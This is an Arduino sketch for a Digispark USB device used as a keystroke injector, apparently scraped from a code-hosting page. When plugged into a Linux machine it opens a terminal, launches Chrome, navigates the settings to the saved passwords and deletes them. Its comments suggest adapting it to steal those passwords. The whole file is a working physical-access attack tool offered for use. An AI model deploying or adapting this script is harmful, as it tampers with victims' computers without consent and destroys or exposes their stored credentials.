67 lines
2.4 KiB
C++
67 lines
2.4 KiB
C++
// This script is to remove chrome stored passwords. This script is for linux but can be modified for Windows.
|
|
// This script can be modify to steal the stored passwords but this one is limited to removing them.
|
|
// This script is applicable for current interface of chrome
|
|
|
|
|
|
#include "DigiKeyboard.h"
|
|
#define KEY_TAB 43
|
|
#define KEY_DOWN 0x51
|
|
#define UP 0x52
|
|
|
|
int i = 0;
|
|
void setup() {
|
|
// don't need to set anything up to use DigiKeyboard
|
|
|
|
}
|
|
|
|
|
|
void loop() {
|
|
// this is generally not necessary but with some older systems it seems to
|
|
// prevent missing the first character after a delay:
|
|
DigiKeyboard.sendKeyStroke(0);
|
|
DigiKeyboard.delay(2000);
|
|
DigiKeyboard.sendKeyStroke(KEY_T, MOD_GUI_LEFT); //Open terminal in linux
|
|
DigiKeyboard.delay(2000);
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.println("google-chrome");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER); //Open Google chrome
|
|
DigiKeyboard.delay(4000);
|
|
DigiKeyboard.println("chrome://settings/");//open chrome settings
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
|
|
DigiKeyboard.delay(4000); //for loading the settings
|
|
for(i=0; i<6; i++){
|
|
DigiKeyboard.sendKeyStroke(KEY_TAB);//Navigate to the Passwords Tab
|
|
}
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(1000);
|
|
for(i=0; i<9; i++){
|
|
DigiKeyboard.sendKeyStroke(KEY_TAB);
|
|
} //Get the first password options to remove the password
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
|
|
DigiKeyboard.sendKeyStroke(KEY_DOWN);
|
|
DigiKeyboard.sendKeyStroke(UP);
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.sendKeyStroke(KEY_DOWN);
|
|
DigiKeyboard.sendKeyStroke(UP);
|
|
|
|
for(i=0; i<5; i++){
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
|
DigiKeyboard.sendKeyStroke(UP);
|
|
DigiKeyboard.sendKeyStroke(UP);// My chrome works with this extra statement but not true for all systems so if your system is not working delete this statement
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER); //Removing Passwd
|
|
}
|
|
//Remove 6 password present in the chrome
|
|
//This can be further use to steal stored passwords in the chrome
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // To close chrome browser
|
|
DigiKeyboard.delay(1000);
|
|
DigiKeyboard.println("exit");
|
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);//Finally exit terminal
|
|
for(;;);
|
|
|
|
}
|